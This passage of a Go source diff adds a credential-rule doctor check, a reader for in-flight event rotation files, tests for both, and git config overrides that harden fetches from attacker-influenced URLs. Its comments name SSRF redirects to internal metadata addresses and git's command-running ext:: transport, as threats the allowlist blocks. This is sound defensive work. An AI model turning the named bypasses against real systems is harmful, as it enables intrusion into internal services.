+			return freshRun, nil
+		},
+	}
+
+	got, err := check.latestOrderFiredAt(evts, order, expected, now)
+	if err != nil {
+		t.Fatalf("latestOrderFiredAt returned error: %v", err)
+	}
+	if !lastRunCalled {
+		t.Fatalf("lastRun was not consulted for a stale event; want order-run history queried")
+	}
+	if !got.Equal(freshRun) {
+		t.Fatalf("latest = %v, want %v (newer order-run history)", got, freshRun)
+	}
+}
diff --git a/internal/doctor/checks_pack_credentials.go b/internal/doctor/checks_pack_credentials.go
new file mode 100644
index 0000000000..6dbd368155
--- /dev/null
+++ b/internal/doctor/checks_pack_credentials.go
@@ -0,0 +1,133 @@
+package doctor
+
+import (
+	"fmt"
+	"sort"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/gitcred"
+	"github.com/gastownhall/gascity/internal/remotesource"
+)
+
+// PackCredentialsCheck validates the city's pack-source credential rules: it
+// loads the layered credentials.toml (surfacing insecure permissions and parse
+// errors as blocking), and reports which configured rules match a remote import
+// in the city's pack.toml and which are unused. It does NOT perform a live
+// network probe — that is a deferred follow-up (see the credentialed-pack-imports
+// plan) so doctor gains no new network surface here.
+type PackCredentialsCheck struct {
+	imports map[string]config.Import
+}
+
+// NewPackCredentialsCheck builds the pack-credentials check for the city's
+// direct imports.
+func NewPackCredentialsCheck(imports map[string]config.Import) *PackCredentialsCheck {
+	return &PackCredentialsCheck{imports: imports}
+}
+
+// Name returns the check identifier.
+func (c *PackCredentialsCheck) Name() string { return "pack-credentials" }
+
+// Run loads the credential rules and reports coverage against the remote
+// imports.
+func (c *PackCredentialsCheck) Run(ctx *CheckContext) *CheckResult {
+	r := &CheckResult{Name: c.Name()}
+
+	rules, err := gitcred.Load(ctx.CityPath)
+	if err != nil {
+		r.Status = StatusError
+		r.Message = fmt.Sprintf("pack credentials could not be loaded: %v", err)
+		r.FixHint = "fix the credentials.toml permissions (must be 0600) and pointer cardinality, then re-run gc doctor"
+		return r
+	}
+
+	loaded := rules.All()
+	if len(loaded) == 0 && !rules.HasCommandLayer() {
+		r.Status = StatusOK
+		r.Message = "no pack credentials configured"
+		return r
+	}
+
+	// Determine which remote imports would match a rule and which rules are
+	// unused, purely from the resolver — no network.
+	unmatchedRemotes := c.remoteImportsWithoutRule(rules)
+	usedOrigins := c.matchedRuleOrigins(rules)
+
+	var details []string
+	for _, lr := range loaded {
+		state := "unused"
+		if usedOrigins[originMatchKey(lr)] {
+			state = "matches an import"
+		}
+		details = append(details, fmt.Sprintf("%s (%s) — %s", lr.Match, lr.Origin, state))
+	}
+	sort.Strings(details)
+	r.Details = details
+
+	if len(unmatchedRemotes) > 0 {
+		sort.Strings(unmatchedRemotes)
+		r.Status = StatusWarning
+		r.Message = fmt.Sprintf("%d remote import(s) have no matching credential rule", len(unmatchedRemotes))
+		r.FixHint = "register a credential for each host: gc import credential add <host> --helper 'gh auth token'"
+		r.Details = append(r.Details, unmatchedRemotes...)
+		return r
+	}
+
+	r.Status = StatusOK
+	r.Message = fmt.Sprintf("%d pack credential rule(s) configured", len(loaded))
+	return r
+}
+
+// remoteImportsWithoutRule returns the redacted clone URLs of networked remote
+// imports that no credential rule matches. A public import legitimately has no
+// rule, so this is advisory only (StatusWarning), not an error.
+func (c *PackCredentialsCheck) remoteImportsWithoutRule(rules *gitcred.Rules) []string {
+	var missing []string
+	for _, imp := range c.imports {
+		if !credentialRelevantRemote(imp.Source) {
+			continue
+		}
+		if _, ok := rules.MatchSource(imp.Source); ok {
+			continue
+		}
+		missing = append(missing, gitcred.RedactUserinfo(remotesource.Parse(imp.Source).CloneURL))
+	}
+	return missing
+}
+
+// matchedRuleOrigins reports which rules match at least one networked remote
+// import.
+func (c *PackCredentialsCheck) matchedRuleOrigins(rules *gitcred.Rules) map[string]bool {
+	used := make(map[string]bool)
+	for _, imp := range c.imports {
+		if !credentialRelevantRemote(imp.Source) {
+			continue
+		}
+		if lr, ok := rules.MatchSource(imp.Source); ok {
+			used[originMatchKey(lr)] = true
+		}
+	}
+	return used
+}
+
+// credentialRelevantRemote reports whether a source is a networked remote that
+// could require a credential. file:// and local-path sources authenticate no
+// network fetch (they clone from disk), so they are excluded — otherwise a
+// local file:// import would be wrongly flagged as a remote with no rule.
+func credentialRelevantRemote(source string) bool {
+	return remotesource.IsRemote(source) && !strings.HasPrefix(source, "file://")
+}
+
+func originMatchKey(lr gitcred.LoadedRule) string {
+	return lr.Origin + "\x00" + lr.Match
+}
+
+// CanFix returns false — credential registration is an explicit user action.
+func (c *PackCredentialsCheck) CanFix() bool { return false }
+
+// Fix is a no-op.
+func (c *PackCredentialsCheck) Fix(_ *CheckContext) error { return nil }
+
+// WarmupEligible returns false — credential checks run on demand only.
+func (c *PackCredentialsCheck) WarmupEligible() bool { return false }
diff --git a/internal/doctor/checks_pack_credentials_test.go b/internal/doctor/checks_pack_credentials_test.go
new file mode 100644
index 0000000000..8681feb934
--- /dev/null
+++ b/internal/doctor/checks_pack_credentials_test.go
@@ -0,0 +1,113 @@
+package doctor
+
+import (
+	"os"
+	"path/filepath"
+	"runtime"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/config"
+)
+
+func credCtx(t *testing.T) *CheckContext {
+	t.Helper()
+	city := t.TempDir()
+	t.Setenv("GC_HOME", t.TempDir())
+	t.Setenv("GC_GIT_CREDENTIALS_FILE", "")
+	t.Setenv("GC_GIT_CREDENTIAL_COMMAND", "")
+	// Clear the ambient GitHub token so the built-in github.com default rule
+	// stays inert and these checks observe only their own configured rules.
+	t.Setenv("GITHUB_TOKEN", "")
+	t.Setenv("GH_TOKEN", "")
+	return &CheckContext{CityPath: city}
+}
+
+func writeCityCred(t *testing.T, cityPath, body string, mode os.FileMode) {
+	t.Helper()
+	dir := filepath.Join(cityPath, ".gc")
+	if err := os.MkdirAll(dir, 0o755); err != nil {
+		t.Fatalf("mkdir: %v", err)
+	}
+	path := filepath.Join(dir, "credentials.toml")
+	if err := os.WriteFile(path, []byte(body), mode); err != nil {
+		t.Fatalf("write: %v", err)
+	}
+	if err := os.Chmod(path, mode); err != nil {
+		t.Fatalf("chmod: %v", err)
+	}
+}
+
+func TestPackCredentialsCheckNoRulesOK(t *testing.T) {
+	ctx := credCtx(t)
+	r := NewPackCredentialsCheck(nil).Run(ctx)
+	if r.Status != StatusOK {
+		t.Fatalf("status = %v, want OK; msg=%q", r.Status, r.Message)
+	}
+}
+
+func TestPackCredentialsCheckInsecurePermsError(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("permission bits are POSIX-only")
+	}
+	ctx := credCtx(t)
+	writeCityCred(t, ctx.CityPath, "[[credential]]\nmatch=\"github.com\"\nhelper=\"x\"\n", 0o644)
+	r := NewPackCredentialsCheck(nil).Run(ctx)
+	if r.Status != StatusError {
+		t.Fatalf("status = %v, want Error", r.Status)
+	}
+	if r.FixHint == "" {
+		t.Fatalf("expected a FixHint")
+	}
+}
+
+func TestPackCredentialsCheckUnmatchedRemoteWarns(t *testing.T) {
+	ctx := credCtx(t)
+	writeCityCred(t, ctx.CityPath, "[[credential]]\nmatch=\"gitlab.com\"\nhelper=\"x\"\n", 0o600)
+	imports := map[string]config.Import{
+		"tools": {Source: "https://github.com/gascity/tools", Version: "^1.0"},
+	}
+	r := NewPackCredentialsCheck(imports).Run(ctx)
+	if r.Status != StatusWarning {
+		t.Fatalf("status = %v, want Warning; msg=%q", r.Status, r.Message)
+	}
+	if r.FixHint == "" {
+		t.Fatalf("expected a FixHint for the unmatched remote")
+	}
+}
+
+func TestPackCredentialsCheckMatchedRemoteOK(t *testing.T) {
+	ctx := credCtx(t)
+	writeCityCred(t, ctx.CityPath, "[[credential]]\nmatch=\"github.com/gascity\"\nhelper=\"x\"\n", 0o600)
+	imports := map[string]config.Import{
+		"tools": {Source: "https://github.com/gascity/tools", Version: "^1.0"},
+	}
+	r := NewPackCredentialsCheck(imports).Run(ctx)
+	if r.Status != StatusOK {
+		t.Fatalf("status = %v, want OK; msg=%q details=%v", r.Status, r.Message, r.Details)
+	}
+}
+
+func TestPackCredentialsCheckSkipsFileAndLocalImports(t *testing.T) {
+	ctx := credCtx(t)
+	writeCityCred(t, ctx.CityPath, "[[credential]]\nmatch=\"github.com/gascity\"\nhelper=\"x\"\n", 0o600)
+	imports := map[string]config.Import{
+		"local-file":  {Source: "file:///home/u/shared-packs/review"},
+		"local-path":  {Source: "/Users/you/shared-packs/packs/review"},
+		"local-rel":   {Source: "./packs/review"},
+		"remote-http": {Source: "https://github.com/gascity/tools", Version: "^1.0"},
+	}
+	r := NewPackCredentialsCheck(imports).Run(ctx)
+	if r.Status != StatusOK {
+		t.Fatalf("status = %v, want OK (file:// and local imports need no credential rule); msg=%q details=%v", r.Status, r.Message, r.Details)
+	}
+}
+
+func TestPackCredentialsCheckNoFixNoWarmup(t *testing.T) {
+	c := NewPackCredentialsCheck(nil)
+	if c.CanFix() {
+		t.Fatalf("CanFix must be false")
+	}
+	if c.WarmupEligible() {
+		t.Fatalf("WarmupEligible must be false")
+	}
+}
diff --git a/internal/doctor/checks_rig_coverage.go b/internal/doctor/checks_rig_coverage.go
index f9fb6a8404..c8bdc03f5e 100644
--- a/internal/doctor/checks_rig_coverage.go
+++ b/internal/doctor/checks_rig_coverage.go
@@ -112,7 +112,7 @@ func (c *RigPackCoverageCheck) Run(_ *CheckContext) *CheckResult {
 	r.Status = StatusWarning
 	r.Message = fmt.Sprintf("%d rig-scoped named_session(s) not covered by rig imports", len(issues))
 	r.Details = issues
-	r.FixHint = "add [defaults.rig.imports.<pack>] to pack.toml or add the pack to each rig's [imports]"
+	r.FixHint = "add [defaults.rig.imports.<pack>] to city.toml or add the pack to each rig's [imports]"
 	return r
 }
 
diff --git a/internal/doctor/checks_rig_coverage_test.go b/internal/doctor/checks_rig_coverage_test.go
index 8da5aeb3ef..86c62e1430 100644
--- a/internal/doctor/checks_rig_coverage_test.go
+++ b/internal/doctor/checks_rig_coverage_test.go
@@ -271,6 +271,9 @@ mode = "always"
 	if !strings.Contains(r.FixHint, "defaults.rig.imports") {
 		t.Errorf("FixHint = %q, want it to mention [defaults.rig.imports] to guide the operator to the actual config knob", r.FixHint)
 	}
+	if strings.Contains(r.FixHint, "pack.toml") {
+		t.Errorf("FixHint = %q, want default rig imports to point at city.toml", r.FixHint)
+	}
 }
 
 // TestRigPackCoverageCheck_PackWithoutRigSessions asserts that a pack
diff --git a/internal/doctor/checks_test.go b/internal/doctor/checks_test.go
index 8bb58b7cf5..c415fa5bea 100644
--- a/internal/doctor/checks_test.go
+++ b/internal/doctor/checks_test.go
@@ -617,6 +617,32 @@ schema = 1
 	}
 }
 
+func TestBuiltinPackFamilyCheck_DoltliteBackendSkipsRequirement(t *testing.T) {
+	dir := t.TempDir()
+	doltDir := filepath.Join(dir, "packs", "dolt")
+	if err := os.MkdirAll(doltDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(doltDir, "pack.toml"), []byte(`[pack]
+name = "dolt"
+schema = 1
+`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	c := NewBuiltinPackFamilyCheck(&config.City{
+		Beads:    config.BeadsConfig{Provider: "bd", Backend: "doltlite"},
+		PackDirs: []string{doltDir},
+	}, dir)
+	r := c.Run(&CheckContext{})
+	if r.Status != StatusOK {
+		t.Fatalf("status = %d, want OK; msg = %s", r.Status, r.Message)
+	}
+	if !strings.Contains(r.Message, "doltlite backend") {
+		t.Fatalf("message = %q, want doltlite skip message", r.Message)
+	}
+}
+
 func TestBuiltinPackFamilyCheck_ExecGcBeadsBdOverrideStillRequiresFamily(t *testing.T) {
 	dir := t.TempDir()
 	t.Setenv("GC_BEADS", "exec:/tmp/gc-beads-bd")
diff --git a/internal/events/events.go b/internal/events/events.go
index 2ddbb82dd3..96c83bb0ee 100644
--- a/internal/events/events.go
+++ b/internal/events/events.go
@@ -174,6 +174,16 @@ const (
 	// observable signal (RCA gc-5aie6: per-PL Slack channel cross-wiring).
 	ExtMsgOutboundChannelMismatch = "extmsg.outbound_channel_mismatch"
 
+	// Supervisor webhook receiver events (E8). WebhookReceived fires on every
+	// accepted, cryptographically authentic delivery — whether it dispatched an
+	// order, was suppressed as a duplicate, or matched no rule. WebhookRejected
+	// fires on every refused delivery, carrying a reason enum. Their payloads
+	// (internal/api WebhookReceivedPayload / WebhookRejectedPayload) MUST NOT carry
+	// the secret, signature, or raw body — a body byte-count and the provider's
+	// own delivery id are the most that appear.
+	WebhookReceived = "webhook.received"
+	WebhookRejected = "webhook.rejected"
+
 	// EventsRotated is the forensic anchor written as the first event in
 	// a freshly-rotated active log. Its payload carries the prior
 	// archive's filename and seq range so log readers can stitch back
@@ -249,6 +259,7 @@ var KnownEventTypes = []string{
 	ExtMsgAdapterAdded, ExtMsgAdapterRemoved,
 	ExtMsgInbound, ExtMsgOutbound,
 	ExtMsgOutboundChannelMismatch,
+	WebhookReceived, WebhookRejected,
 	EventsRotated,
 	StoreMaintenanceDone, StoreMaintenanceFailed,
 	StoreDiskWarn, StoreDiskCritical,
diff --git a/internal/events/reader.go b/internal/events/reader.go
index 258ff2bd54..a5c28c8520 100644
--- a/internal/events/reader.go
+++ b/internal/events/reader.go
@@ -147,6 +147,153 @@ func ReadFiltered(path string, filter Filter) ([]Event, error) {
 	return result, nil
 }
 
+// ReadFilteredWithInFlight is ReadFiltered plus events still stranded in
+// in-flight rotation files. When rotateLocked renames the active log to
+// events.jsonl.rotating-<ts>-seq-<a>-<b>, a background goroutine gzips it into
+// the canonical .gz archive and only then removes the rotating file. In that
+// window the just-rotated events live ONLY in the plain-JSONL rotating file,
+// which ReadFiltered (it lists only .gz archives) cannot see. The live run
+// tailer folds these in when it detects a rotation, before resetting its
+// active-file cursor, so events written to the old active log in the poll window
+// before the rename are not lost during the asynchronous compression.
+//
+// Callers must be seq-idempotent: during the brief window when a canonical .gz
+// and its source rotating file coexist, an event can appear in both. The result
+// is de-duplicated by seq and returned in seq order. Intended for the AfterSeq
+// catch-up path; a positive Filter.Limit bounds only ReadFiltered's own scan,
+// not the merged in-flight events.
+func ReadFilteredWithInFlight(path string, filter Filter) ([]Event, error) {
+	base, baseErr := ReadFiltered(path, filter)
+	inflight, inErr := readInFlightRotating(path, filter)
+	if len(inflight) == 0 {
+		if baseErr == nil {
+			return base, inErr
+		}
+		return base, baseErr
+	}
+	merged := mergeEventsBySeq(base, inflight)
+	if baseErr != nil {
+		return merged, baseErr
+	}
+	return merged, inErr
+}
+
+// readInFlightRotating reads events matching filter from any in-flight rotation
+// files (events.jsonl.rotating-<ts>-seq-<a>-<b>) beside path — the plain-JSONL
+// renames of a just-rotated active log the background gzip has not yet promoted
+// to a canonical .gz archive. Files whose seq window is fully excluded by
+// filter.AfterSeq are skipped without opening. Results are in seq order across
+// rotating files (sorted by FirstSeq; each file is internally seq ordered).
+// Returns (nil, nil) when nothing is rotating — the overwhelmingly common case.
+func readInFlightRotating(path string, filter Filter) ([]Event, error) {
+	dir := filepath.Dir(path)
+	entries, err := os.ReadDir(dir)
+	if err != nil {
+		if os.IsNotExist(err) {
+			return nil, nil
+		}
+		return nil, err
+	}
+	type rotatingFile struct {
+		name     string
+		firstSeq uint64
+	}
+	var files []rotatingFile
+	for _, e := range entries {
+		if e.IsDir() || !hasRotatingPrefix(e.Name()) {
+			continue
+		}
+		_, first, last, ok := parseRotatingBasename(e.Name())
+		if !ok {
+			// Legacy rotating file without a seq window; the startup orphan
+			// reaper promotes it — a live reader skips it rather than guess.
+			continue
+		}
+		if filter.AfterSeq > 0 && last <= filter.AfterSeq {
+			continue
+		}
+		files = append(files, rotatingFile{name: e.Name(), firstSeq: first})
+	}
+	if len(files) == 0 {
+		return nil, nil
+	}
+	sort.Slice(files, func(i, j int) bool { return files[i].firstSeq < files[j].firstSeq })
+
+	var result []Event
+	for _, rf := range files {
+		evts, err := readPlainJSONLFiltered(filepath.Join(dir, rf.name), filter)
+		if err != nil {
+			return result, fmt.Errorf("reading in-flight rotation %q: %w", rf.name, err)
+		}
+		result = append(result, evts...)
+	}
+	return result, nil
+}
+
+// readPlainJSONLFiltered reads every filter-matching event from a plain-JSONL
+// events file, scanning the whole file from the start. Unlike ReadFrom it keeps
+// no byte offset; unlike the active-file scan in ReadFiltered it does not honor
+// Filter.Limit (its only caller merges the result under an AfterSeq filter).
+func readPlainJSONLFiltered(path string, filter Filter) ([]Event, error) {
+	f, err := os.Open(path)
+	if err != nil {
+		if os.IsNotExist(err) {
+			return nil, nil
+		}
+		return nil, err
+	}
+	defer f.Close() //nolint:errcheck // read-only file
+
+	var result []Event
+	scanner := bufio.NewScanner(f)
+	scanner.Buffer(make([]byte, 0, 64*1024), 1024*1024)
+	for scanner.Scan() {
+		var e Event
+		if err := json.Unmarshal(scanner.Bytes(), &e); err != nil {
+			continue // skip malformed lines (partial write mid-rename)
+		}
+		if !matchesFilter(e, filter) {
+			continue
+		}
+		result = append(result, e)
+	}
+	if err := scanner.Err(); err != nil {
+		return result, fmt.Errorf("scanning: %w", err)
+	}
+	return result, nil
+}
+
+// mergeEventsBySeq merges two seq-ascending event slices into one seq-ascending
+// slice, dropping exact seq duplicates — an event present in both a canonical
+// archive and its not-yet-removed source rotating file. Event seqs are globally
+// monotonic and unique, so equal seq means the same event.
+func mergeEventsBySeq(a, b []Event) []Event {
+	out := make([]Event, 0, len(a)+len(b))
+	appendUnique := func(e Event) {
+		if n := len(out); n > 0 && out[n-1].Seq == e.Seq {
+			return
+		}
+		out = append(out, e)
+	}
+	i, j := 0, 0
+	for i < len(a) && j < len(b) {
+		if a[i].Seq <= b[j].Seq {
+			appendUnique(a[i])
+			i++
+		} else {
+			appendUnique(b[j])
+			j++
+		}
+	}
+	for ; i < len(a); i++ {
+		appendUnique(a[i])
+	}
+	for ; j < len(b); j++ {
+		appendUnique(b[j])
+	}
+	return out
+}
+
 // archiveFilesIn lists canonical events archives in dir, sorted by
 // FirstSeq ascending so callers can read them in chronological order.
 // Files that don't match the canonical name pattern (legacy archives,
diff --git a/internal/events/rotation_reader_test.go b/internal/events/rotation_reader_test.go
index 5872cb27ab..e447e22471 100644
--- a/internal/events/rotation_reader_test.go
+++ b/internal/events/rotation_reader_test.go
@@ -5,11 +5,118 @@ import (
 	"fmt"
 	"os"
 	"path/filepath"
+	"reflect"
 	"strings"
 	"testing"
 	"time"
 )
 
+// writeJSONLEvents writes seq-stamped bead.created events to path as plain JSONL,
+// one per line — the on-disk shape of an active log or an in-flight rotating file.
+func writeJSONLEvents(t *testing.T, path string, seqs ...uint64) {
+	t.Helper()
+	var b strings.Builder
+	for _, s := range seqs {
+		fmt.Fprintf(&b, `{"seq":%d,"type":%q,"subject":"s%d"}`+"\n", s, string(BeadCreated), s)
+	}
+	if err := os.WriteFile(path, []byte(b.String()), 0o644); err != nil {
+		t.Fatalf("write %s: %v", path, err)
+	}
+}
+
+func seqsOf(evts []Event) []uint64 {
+	out := make([]uint64, 0, len(evts))
+	for _, e := range evts {
+		out = append(out, e.Seq)
+	}
+	return out
+}
+
+// TestReadFilteredWithInFlightIncludesRotatingFiles is the reader-level guard for
+// the async-compression drop: a just-rotated active log is renamed to a plain
+// events.jsonl.rotating-* file and gzipped in the background, so between the
+// rename and the canonical .gz those events are visible to neither the archive
+// walker nor the active-file scan. ReadFiltered misses them; ReadFilteredWithInFlight
+// folds them back in, in seq order.
+func TestReadFilteredWithInFlightIncludesRotatingFiles(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "events.jsonl")
+
+	// A fully-compressed earlier rotation: seq 1 lives only in a canonical .gz.
+	gzSrc := filepath.Join(dir, "events.jsonl.rotating-20260507T120000Z-seq-1-1")
+	writeJSONLEvents(t, gzSrc, 1)
+	gz := filepath.Join(dir, formatArchiveBasename(time.Date(2026, 5, 7, 12, 0, 0, 0, time.UTC), 1, 1))
+	var stderr bytes.Buffer
+	if err := gzipAndArchive(gzSrc, gz, &stderr); err != nil {
+		t.Fatalf("gzipAndArchive: %v", err)
+	}
+
+	// An in-flight rotation whose gzip has NOT finished: seq 2,3 live only in the
+	// plain-JSONL rotating-* file (no .gz yet).
+	writeJSONLEvents(t, filepath.Join(dir, "events.jsonl.rotating-20260507T120500Z-seq-2-3"), 2, 3)
+
+	// The fresh active file opened after that rotation.
+	writeJSONLEvents(t, path, 4, 5)
+
+	// Baseline: ReadFiltered lists only .gz archives + active, so it MISSES the
+	// in-flight window (seq 2,3) — the exact drop this guards.
+	base, err := ReadFiltered(path, Filter{})
+	if err != nil {
+		t.Fatalf("ReadFiltered: %v", err)
+	}
+	if got := seqsOf(base); !reflect.DeepEqual(got, []uint64{1, 4, 5}) {
+		t.Fatalf("ReadFiltered seqs = %v, want [1 4 5] (the in-flight gap)", got)
+	}
+
+	// ReadFilteredWithInFlight folds the rotating window back in, in seq order.
+	all, err := ReadFilteredWithInFlight(path, Filter{})
+	if err != nil {
+		t.Fatalf("ReadFilteredWithInFlight: %v", err)
+	}
+	if got := seqsOf(all); !reflect.DeepEqual(got, []uint64{1, 2, 3, 4, 5}) {
+		t.Fatalf("ReadFilteredWithInFlight seqs = %v, want [1 2 3 4 5]", got)
+	}
+
+	// AfterSeq fully excludes the rotating window (last seq 3 <= 3) without opening it.
+	after, err := ReadFilteredWithInFlight(path, Filter{AfterSeq: 3})
+	if err != nil {
+		t.Fatalf("ReadFilteredWithInFlight(AfterSeq=3): %v", err)
+	}
+	if got := seqsOf(after); !reflect.DeepEqual(got, []uint64{4, 5}) {
+		t.Fatalf("ReadFilteredWithInFlight(AfterSeq=3) seqs = %v, want [4 5]", got)
+	}
+}
+
+// TestReadFilteredWithInFlightDedupsArchiveRotatingOverlap covers the instant
+// after gzipAndArchive renames the .gz into place but before it removes the
+// source rotating file: both cover the same seq window and the merged read must
+// emit each event once, not twice.
+func TestReadFilteredWithInFlightDedupsArchiveRotatingOverlap(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "events.jsonl")
+
+	// The in-flight rotating file (stays on disk).
+	writeJSONLEvents(t, filepath.Join(dir, "events.jsonl.rotating-20260507T120500Z-seq-2-3"), 2, 3)
+	// A canonical .gz for the SAME window, gzipped from a throwaway source so the
+	// rotating file above is left in place — modeling the coexistence window.
+	gzSrc := filepath.Join(dir, "gz-source.jsonl")
+	writeJSONLEvents(t, gzSrc, 2, 3)
+	gz := filepath.Join(dir, formatArchiveBasename(time.Date(2026, 5, 7, 12, 5, 0, 0, time.UTC), 2, 3))
+	var stderr bytes.Buffer
+	if err := gzipAndArchive(gzSrc, gz, &stderr); err != nil {
+		t.Fatalf("gzipAndArchive: %v", err)
+	}
+	writeJSONLEvents(t, path, 4)
+
+	all, err := ReadFilteredWithInFlight(path, Filter{})
+	if err != nil {
+		t.Fatalf("ReadFilteredWithInFlight: %v", err)
+	}
+	if got := seqsOf(all); !reflect.DeepEqual(got, []uint64{2, 3, 4}) {
+		t.Fatalf("overlap seqs = %v, want [2 3 4] (deduped)", got)
+	}
+}
+
 // seedRecorderWithRotation creates a fresh recorder, writes recordsBefore
 // events, force-rotates, then writes recordsAfter events. Returns the
 // directory holding the active log + archives; the recorder is
diff --git a/internal/formula/expand_test.go b/internal/formula/expand_test.go
index 1d8fe978fe..67aad822ce 100644
--- a/internal/formula/expand_test.go
+++ b/internal/formula/expand_test.go
@@ -1430,6 +1430,52 @@ func TestApplyInlineExpansionsWithVarsAllowsConditionallyExclusiveDuplicateTempl
 	}
 }
 
+func TestApplyInlineExpansionsWithVarsResolvesForwardedParentVarOverrides(t *testing.T) {
+	tmpDir := t.TempDir()
+
+	expansion := `{
+		"formula": "inline-route-target",
+		"type": "expansion",
+		"version": 1,
+		"vars": {
+			"implementation_run_target": {"default": "default-worker"}
+		},
+		"template": [
+			{
+				"id": "{target}.fix",
+				"title": "Fix",
+				"metadata": {"gc.run_target": "{implementation_run_target}"}
+			}
+		]
+	}`
+	if err := os.WriteFile(filepath.Join(tmpDir, "inline-route-target.formula.json"), []byte(expansion), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	parser := NewParser(tmpDir)
+	steps := []*Step{
+		{
+			ID:     "review",
+			Title:  "Review",
+			Expand: "inline-route-target",
+			ExpandVars: map[string]string{
+				"implementation_run_target": "{{worker_target}}",
+			},
+		},
+	}
+
+	result, err := ApplyInlineExpansionsWithVars(steps, parser, map[string]string{"worker_target": "custom-worker"})
+	if err != nil {
+		t.Fatalf("ApplyInlineExpansionsWithVars failed: %v", err)
+	}
+	if len(result) != 1 {
+		t.Fatalf("len(result) = %d, want 1", len(result))
+	}
+	if got := result[0].Metadata["gc.run_target"]; got != "custom-worker" {
+		t.Fatalf("gc.run_target = %q, want custom-worker", got)
+	}
+}
+
 func TestApplyInlineExpansionsWithVarsCarriesExpansionVarsIntoNestedInlineExpansions(t *testing.T) {
 	tmpDir := t.TempDir()
 
diff --git a/internal/git/git.go b/internal/git/git.go
index 35168ff43f..1107c6302a 100644
--- a/internal/git/git.go
+++ b/internal/git/git.go
@@ -359,6 +359,41 @@ func HermeticEnv() []string {
 	return cleaned
 }
 
+// UntrustedRemoteGitConfigArgs returns leading `git -c` overrides that harden a
+// network git invocation (ls-remote, fetch, clone) whose remote URL may be
+// attacker-influenced — the pack-import add path, where an API caller supplies
+// the source string. Callers prepend it to the git arguments, before the
+// subcommand.
+//
+// It closes the two classic ways a resolve-then-fetch SSRF host fence is
+// bypassed at the git subprocess:
+//
+//   - http.followRedirects=false stops git from following a 30x redirect, so a
+//     fenced public host cannot bounce the fetch to an internal target (e.g.
+//     169.254.169.254) after the host check has already passed.
+//   - protocol.allow=never plus an explicit allowlist constrains the transports
+//     git will use to the schemes pack sources legitimately need (https, http,
+//     ssh, git, and file for CLI-local packs), so a crafted URL, redirect, or
+//     submodule cannot escalate to a dangerous transport such as ext:: (which
+//     runs an arbitrary command).
+//
+// It does NOT close a DNS-rebinding TOCTOU window: git re-resolves the host at
+// fetch time, so a name that resolved to a public address during the fence can
+// still resolve to an internal one here. That residual is documented at the
+// pack SSRF fence (internal/api/pack_source_policy.go); pinning the resolved IP
+// is out of scope for this hardening.
+func UntrustedRemoteGitConfigArgs() []string {
+	return []string{
+		"-c", "http.followRedirects=false",
+		"-c", "protocol.allow=never",
+		"-c", "protocol.https.allow=always",
+		"-c", "protocol.http.allow=always",
+		"-c", "protocol.ssh.allow=always",
+		"-c", "protocol.git.allow=always",
+		"-c", "protocol.file.allow=always",
+	}
+}
+
 // sanitizeGitEnv returns environ with git-specific variables removed. It is the
 // single filtering implementation shared by SanitizedEnv and runCtx so the
 // blacklist has exactly one enforcement path.
diff --git a/internal/git/git_test.go b/internal/git/git_test.go
index 6f63ba95a8..cbfbe514be 100644
--- a/internal/git/git_test.go
+++ b/internal/git/git_test.go
@@ -744,3 +744,39 @@ func TestParseWorktreeList_Empty(t *testing.T) {
 		t.Errorf("len(worktrees) = %d, want 0", len(wts))
 	}
 }
+
+// TestUntrustedRemoteGitConfigArgs pins the hardening applied to git invocations
+// whose remote URL is attacker-influenced (the pack-import add path). Redirect
+// following must be disabled and the transport allowlist constrained, so a
+// fenced public host cannot 30x to an internal target and a crafted URL cannot
+// escalate to a dangerous transport such as ext::.
+func TestUntrustedRemoteGitConfigArgs(t *testing.T) {
+	args := UntrustedRemoteGitConfigArgs()
+
+	// Every override is passed as a leading "-c key=value" pair.
+	joined := strings.Join(args, " ")
+	for _, want := range []string{
+		"-c http.followRedirects=false",
+		"-c protocol.allow=never",
+		"-c protocol.https.allow=always",
+		"-c protocol.http.allow=always",
+		"-c protocol.ssh.allow=always",
+		"-c protocol.git.allow=always",
+		"-c protocol.file.allow=always",
+	} {
+		if !strings.Contains(joined, want) {
+			t.Errorf("UntrustedRemoteGitConfigArgs missing %q; got %v", want, args)
+		}
+	}
+
+	// The args must be well-formed -c pairs so they can be prepended before a git
+	// subcommand.
+	if len(args)%2 != 0 {
+		t.Fatalf("expected an even number of args (-c pairs), got %d: %v", len(args), args)
+	}
+	for i := 0; i < len(args); i += 2 {
+		if args[i] != "-c" {
+			t.Fatalf("arg %d = %q, want -c; full: %v", i, args[i], args)
+		}
+	}
+}
diff --git a/internal/gitcred/autherror.go b/internal/gitcred/autherror.go
new file mode 100644
index 0000000000..4041c9507a
--- /dev/null
+++ b/internal/gitcred/autherror.go
@@ -0,0 +1,134 @@
+// Package gitcred resolves git credentials for private pack imports and injects
+// them into the network git seams via git's native credential-helper protocol.
+package gitcred
+
+import (
+	"errors"
+	"fmt"
+	"os/exec"
+	"strings"
+)
+
+// AuthError is a network git failure classified as an authentication or
+// authorization problem. Its Error() is a terse single line; the multi-line
+// remediation hint lives in the CLI, so API error bodies stay single-line while
+// errors.As still finds the type through the wrapping chains.
+type AuthError struct {
+	// Host is the remote host, e.g. "github.com".
+	Host string
+	// OrgPrefix is "host/first-path-segment", e.g. "github.com/gascity"; it
+	// drives the CLI hint's suggested credential match.
+	OrgPrefix string
+	// Repo is the redacted clone URL.
+	Repo string
+	// Matched reports whether a credential rule matched (rejected credential vs
+	// missing credential).
+	Matched bool
+	// RuleOrigin is the file (or command-layer marker) that supplied the matched
+	// rule; "" when unmatched.
+	RuleOrigin string
+	// Output is the trimmed git stderr line that triggered classification.
+	Output string
+	// Err is the underlying error (the *exec.ExitError).
+	Err error
+}
+
+// Error returns a terse single-line description. The multi-line remediation
+// hint is printed by the CLI, not here.
+func (e *AuthError) Error() string {
+	if e.Matched {
+		return fmt.Sprintf("authentication failed for %s (credential rule from %s was rejected): %s",
+			e.Host, e.RuleOrigin, e.Output)
+	}
+	return fmt.Sprintf("authentication required for %s (no credential rule matches %s): %s",
+		e.Host, e.Repo, e.Output)
+}
+
